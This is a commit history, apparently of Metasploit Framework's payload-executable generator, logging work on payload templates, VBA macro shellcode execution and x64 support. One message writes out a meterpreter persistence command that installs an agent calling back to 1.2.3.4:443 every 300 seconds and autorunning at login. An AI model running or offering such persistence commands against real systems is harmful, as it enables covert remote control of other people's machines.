85645a81c1
Added aspx target to msfvenom. This in turn added it to msfencode as well.
...
Ref: https://github.com/rapid7/metasploit-framework/pull/188
Tested on winxp with IIS in .net 1.1 and 2.0 modes
2012-02-25 18:02:56 -05:00
a3af2a1868
Spelling error fix
2012-02-06 16:25:56 +02:00
f3345eb2b8
Mac OS X x64 binary template support
2012-02-06 15:58:01 +02:00
ee2823d23b
Compatibility - don't assign LongPtr to Long on x64
2012-01-23 22:17:28 -05:00
c5590a6c40
Add x64 support to VBA in-mem shellcode execution.
2012-01-23 12:43:47 -05:00
c6f66f6bb4
Add in-memory shellcode execution via VBA macro.
...
Keep old embedded exe method as 'vba-exe'.
2012-01-22 07:23:21 -05:00
b6d56e8410
Fixes VBS executable creator util
...
Fixes #6152 , using booleans instead of ints.
Tip o' the hat to cloder for the MSDN ref:
http://msdn.microsoft.com/en-us/library/aa265018%28v=vs.60%29.aspx
Tested works on winxp and win7 targets via the persistence meterpreter
script.
2011-12-22 13:13:34 -06:00
bf105f48cb
massive removal of spaces at EOL and some bad tabs
2011-11-20 12:32:06 +11:00
4f2a0f8c6a
Allow more custom settings for creating a .Net control
...
git-svn-id: file:///home/svn/framework3/trunk@13546 4d416f70-5f16-0410-b530-b9f4589650da
2011-08-12 19:03:09 +00:00
9c3d738b60
Addresses #4781 for signed executables.
...
git-svn-id: file:///home/svn/framework3/trunk@13320 4d416f70-5f16-0410-b530-b9f4589650da
2011-07-23 16:38:13 +00:00
e55d2289cd
I totally missed this: x64 linux payloads in msfencode should still remain in 64-bit format, not 32.
...
git-svn-id: file:///home/svn/framework3/trunk@13140 4d416f70-5f16-0410-b530-b9f4589650da
2011-07-10 06:40:03 +00:00
dfc7f39e1c
Modified how function to_linux_x64_elf() loads a template file
...
git-svn-id: file:///home/svn/framework3/trunk@13129 4d416f70-5f16-0410-b530-b9f4589650da
2011-07-08 19:24:22 +00:00
946074feb9
Add a waitFor() function to make sure chmod is finished running. Thx Juan.
...
git-svn-id: file:///home/svn/framework3/trunk@13119 4d416f70-5f16-0410-b530-b9f4589650da
2011-07-07 19:40:34 +00:00
078d5d7790
Enable rwx exec thread method to generate jump offset off end. (for multipayload)
...
git-svn-id: file:///home/svn/framework3/trunk@13056 4d416f70-5f16-0410-b530-b9f4589650da
2011-06-29 01:13:12 +00:00
8e5311cb61
File.read is not binary safe. replace it with File.open in a few places where it matters.
...
git-svn-id: file:///home/svn/framework3/trunk@12957 4d416f70-5f16-0410-b530-b9f4589650da
2011-06-16 22:02:00 +00:00
56b4a092d6
Added Linux x64 payloads. Modified exe.rb to support elf x64 payloads.
...
git-svn-id: file:///home/svn/framework3/trunk@12676 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-20 23:51:19 +00:00
9003622af3
fix a typo in the dtd url, thanks tebo for noticing
...
git-svn-id: file:///home/svn/framework3/trunk@12674 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-20 16:52:51 +00:00
d43d542316
re-add elf template support which was inadvertantly reverted in r12600, see #4384
...
git-svn-id: file:///home/svn/framework3/trunk@12646 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-17 17:10:55 +00:00
9ce47c01bd
Reverting the autoload changes until we can upgrade to a new ActiveSupport library or find a workaround
...
git-svn-id: file:///home/svn/framework3/trunk@12600 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-12 20:03:55 +00:00
fd4e6db85d
Fixes 4373, Migrates lib/msf to use autoload instead of require (first try)
...
git-svn-id: file:///home/svn/framework3/trunk@12596 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-12 19:07:35 +00:00
06779bc8c0
remove unnecessary requires for stuff in rex. autoload and a high-level require 'rex' in lib/msf/core.rb should take care of everything. see #4371 , #4373 , r12587, and r12554.
...
git-svn-id: file:///home/svn/framework3/trunk@12588 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-12 00:53:33 +00:00
69d09113b5
use Metasm to parse elf templates and set appropriate header flags for marking .text as rwx, fixes #4384
...
git-svn-id: file:///home/svn/framework3/trunk@12579 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-10 21:06:19 +00:00
09f861736a
Lets try this without breaking msfpayload
...
git-svn-id: file:///home/svn/framework3/trunk@12533 4d416f70-5f16-0410-b530-b9f4589650da
2011-05-03 15:07:27 +00:00
1e3df538f9
use more specific config directory for future-proofing.
...
git-svn-id: file:///home/svn/framework3/trunk@11574 4d416f70-5f16-0410-b530-b9f4589650da
2011-01-13 18:55:26 +00:00
9e03e8a142
fix service name handling
...
git-svn-id: file:///home/svn/framework3/trunk@11198 4d416f70-5f16-0410-b530-b9f4589650da
2010-12-02 02:23:27 +00:00
c5c2b37c8b
dont mangle offset 0x88 if using sub_method
...
git-svn-id: file:///home/svn/framework3/trunk@11174 4d416f70-5f16-0410-b530-b9f4589650da
2010-11-30 04:53:43 +00:00
326dc42bca
add EncodedPayload#encoded_exe, encoded_jar, and encoded_war. simplifies exploits that need java and native payloads. see #406 and #3009
...
git-svn-id: file:///home/svn/framework3/trunk@10999 4d416f70-5f16-0410-b530-b9f4589650da
2010-11-11 23:01:35 +00:00
f69a1190a4
Commit the EICAR Canary check for meddling AVs
...
git-svn-id: file:///home/svn/framework3/trunk@10536 4d416f70-5f16-0410-b530-b9f4589650da
2010-10-04 03:07:58 +00:00
d1de6fde36
remove _old from filename
...
git-svn-id: file:///home/svn/framework3/trunk@10428 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-21 17:07:00 +00:00
001a6ffbdb
really use simple substitution method, oops
...
git-svn-id: file:///home/svn/framework3/trunk@10412 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-21 02:59:42 +00:00
eab9c22657
add support for more dll template types
...
git-svn-id: file:///home/svn/framework3/trunk@10407 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-21 02:32:12 +00:00
837e6e5075
fix inject support
...
git-svn-id: file:///home/svn/framework3/trunk@10406 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-21 02:19:33 +00:00
8e5cf31e9a
big exe/dll update, see #2017
...
NOTE: These changes specifically affect payload encoding via RPC, "use
payload", and msfencode
1. consolidate user-specified exe generation routine (now
Msf::Util::EXE.to_executable_fmt)
2. supported format types are now queried/checked using arrays
3. cleaned up and standardized exe option passing
4. rename data store options for EXE mixin
5. add generate_payload_exe_service for psexec/smb_relay
6. reworked default template handling in Msf::Util::EXE
a. added template search path option (not used if template includes
a path separator)
b. "fallback" flag to enable using default if specified file doesn't
exist
7. added Msf::Util::EXE.to_win64pe_dll
8. improved error messages from exe generation
git-svn-id: file:///home/svn/framework3/trunk@10404 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-21 00:13:30 +00:00
bd1eeb3722
rework to_jsp_war a bit, fix uses, default msfencode -t war to x86/win32
...
git-svn-id: file:///home/svn/framework3/trunk@10397 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-20 15:59:46 +00:00
3c505f4c5d
remove loop instruction, it was causing problems when the destination was too far away, fixes #2459
...
git-svn-id: file:///home/svn/framework3/trunk@10385 4d416f70-5f16-0410-b530-b9f4589650da
2010-09-20 03:26:41 +00:00
77917c80e6
This should fix #2459 - the "short" qualifiers were not being removed from all asm stubs
...
git-svn-id: file:///home/svn/framework3/trunk@10164 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-27 05:11:19 +00:00
7ad4f80014
Add a badchars argument
...
git-svn-id: file:///home/svn/framework3/trunk@10094 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-21 07:20:58 +00:00
2545410bc7
make exe template names more consistent
...
git-svn-id: file:///home/svn/framework3/trunk@10065 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-19 21:08:51 +00:00
d803cf0ea9
un-break the tree! *facepalm* -- see #2398
...
git-svn-id: file:///home/svn/framework3/trunk@10018 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-14 20:52:54 +00:00
6c05d425dc
change remaining methods to take an opts hash and allow template override for them
...
git-svn-id: file:///home/svn/framework3/trunk@10016 4d416f70-5f16-0410-b530-b9f4589650da
2010-08-14 20:40:45 +00:00
7963d65f28
Only allow a single instance of a generated DLL to execute (prevent duplicate sessions, like with LNK)
...
git-svn-id: file:///home/svn/framework3/trunk@9871 4d416f70-5f16-0410-b530-b9f4589650da
2010-07-19 23:24:57 +00:00
f87b7bc59e
Fix up the DLL payloads
...
git-svn-id: file:///home/svn/framework3/trunk@9868 4d416f70-5f16-0410-b530-b9f4589650da
2010-07-19 22:13:34 +00:00
16851f56c9
Swizzle.
...
git-svn-id: file:///home/svn/framework3/trunk@9796 4d416f70-5f16-0410-b530-b9f4589650da
2010-07-12 21:51:11 +00:00
2c91164494
allow x64 payloads to be used with psexec
...
git-svn-id: file:///home/svn/framework3/trunk@9565 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-21 03:49:39 +00:00
025cfa9286
break to_war out from to_jsp_war
...
git-svn-id: file:///home/svn/framework3/trunk@9559 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-18 21:54:33 +00:00
4f2c63dae7
add templates for creating linux armle ELFs, thanks Civ
...
git-svn-id: file:///home/svn/framework3/trunk@9455 4d416f70-5f16-0410-b530-b9f4589650da
2010-06-09 07:20:21 +00:00
47cea7bbb3
Respin of the service file
...
git-svn-id: file:///home/svn/framework3/trunk@9226 4d416f70-5f16-0410-b530-b9f4589650da
2010-05-05 18:25:26 +00:00
6fec79926c
revert service name string insertion
...
git-svn-id: file:///home/svn/framework3/trunk@9079 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-14 22:17:19 +00:00
730b27eed1
fixup some of the payload exe generation/templating stuff, add pe/dll template+src
...
git-svn-id: file:///home/svn/framework3/trunk@9073 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-14 21:44:23 +00:00
4fe58a8f02
Revert previous exe change
...
git-svn-id: file:///home/svn/framework3/trunk@8989 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-03 05:44:40 +00:00
5f3def5bee
License corrections
...
git-svn-id: file:///home/svn/framework3/trunk@8982 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-02 21:34:15 +00:00
2efa31cfec
Closes #1244 with a caveat. If the template injected calls ExitProcess(), the payload will be killed. This means that -k is not compatible with our default executable
...
git-svn-id: file:///home/svn/framework3/trunk@8896 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-24 15:55:24 +00:00
b8b11338b1
add linux x86/x86_64 support for tomcat manger deploy, see #1016
...
git-svn-id: file:///home/svn/framework3/trunk@8853 4d416f70-5f16-0410-b530-b9f4589650da
2010-03-19 02:13:02 +00:00
efd1146d10
adjust to_jsp_war to work with jboss (tested OK on tomcat too)
...
git-svn-id: file:///home/svn/framework3/trunk@8573 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-21 01:40:52 +00:00
0071a5532b
allow caller to specify jsp name via :jsp_name opt
...
git-svn-id: file:///home/svn/framework3/trunk@8549 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-18 18:03:22 +00:00
cbba235ba5
change Msf::Util::EXE.to_jsp_war to use Rex::Zip
...
git-svn-id: file:///home/svn/framework3/trunk@8449 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-11 04:27:56 +00:00
2f4ab39712
new, much smaller, elf template
...
git-svn-id: file:///home/svn/framework3/trunk@8448 4d416f70-5f16-0410-b530-b9f4589650da
2010-02-11 02:31:36 +00:00
7be26761f5
merge bannedit's WAR payload patch
...
git-svn-id: file:///home/svn/framework3/trunk@8119 4d416f70-5f16-0410-b530-b9f4589650da
2010-01-14 18:15:15 +00:00
1d1f94593c
Add -t asp to msfencode :)
...
git-svn-id: file:///home/svn/framework3/trunk@8013 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-28 22:41:43 +00:00
7e4d03be86
This adds support for the old exe format to msfencode using -t exe-small and allows encoder modules to change preferences based on the platform, which fully solves #430 .
...
git-svn-id: file:///home/svn/framework3/trunk@7840 4d416f70-5f16-0410-b530-b9f4589650da
2009-12-13 19:03:35 +00:00
38c8714db1
Fixes #585 . Klunky right now but well tested
...
git-svn-id: file:///home/svn/framework3/trunk@7647 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-30 19:24:47 +00:00
7007a80c13
make the vbs generation a little faster and the generated file a little smaller
...
git-svn-id: file:///home/svn/framework3/trunk@7427 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-09 18:32:03 +00:00
566234bcb1
Import Max's VBA2EXE code
...
git-svn-id: file:///home/svn/framework3/trunk@7364 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-05 02:48:56 +00:00
8309599ca3
Fixes #463 . Missing a return value in exe.rb and missing a default format in msfencode
...
git-svn-id: file:///home/svn/framework3/trunk@7357 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-04 21:30:00 +00:00
58ac7efcfa
Fixes #457 . Oddly enough, it was the nop sled garbling registers
...
git-svn-id: file:///home/svn/framework3/trunk@7342 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 23:50:32 +00:00
70bb99b0df
Fixes #458 . Break VBS lines into shorter ones
...
git-svn-id: file:///home/svn/framework3/trunk@7339 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:31:28 +00:00
785ab0921d
Clean up argument passing, cosmetic
...
git-svn-id: file:///home/svn/framework3/trunk@7338 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-03 20:00:43 +00:00
21e82d8b69
This patch implements a much more flexible executable creation scheme at the cost of exe size. This also adds the "-x" option to msfencode, allowing the user to specify their own executable template for generation.
...
git-svn-id: file:///home/svn/framework3/trunk@7315 4d416f70-5f16-0410-b530-b9f4589650da
2009-11-01 04:11:43 +00:00
15e39e95db
Fixes #386 . Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
...
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300
This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:
meterpreter> run persistence -A
This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.
git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
d6d7b0e43f
Raise an alert if the code size is > 2048
...
git-svn-id: file:///home/svn/framework3/trunk@7013 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-08 20:33:43 +00:00
cf10a62dcc
Merge in the beginnings of x64 support from Stephen Fewer
...
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-23 23:47:33 +00:00
b3e36e5692
Reduce the size of the generated executables (works better with sqlmap and other tools that need small exes). Payloads are now capped at 2048 and the amount of random data appended to the exe has been reduced.
...
git-svn-id: file:///home/svn/framework3/trunk@6849 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-20 13:55:29 +00:00
20b232b9d5
Bug fixes from Efrain
...
git-svn-id: file:///home/svn/framework3/trunk@6711 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 20:02:29 +00:00
83c34b10ce
Stop trying to use the non-existent note variable
...
git-svn-id: file:///home/svn/framework3/trunk@6709 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 19:14:19 +00:00
76ca3e7741
Fix up EXE to VBA handling
...
git-svn-id: file:///home/svn/framework3/trunk@6708 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-24 03:59:54 +00:00
a13c01ed3e
Load the encoders/nops modules in msfpayload for encoding, load nops in msfencode
...
git-svn-id: file:///home/svn/framework3/trunk@6694 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-21 15:59:09 +00:00
2283e0ffe4
Update executable template and API
...
git-svn-id: file:///home/svn/framework3/trunk@6682 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:42:17 +00:00
Matt Andreko
Patroklos Argyroudis
scriptjunkie
Tod Beardsley
James Lee
Wei Chen
James Lee
HD Moore
Joshua Drake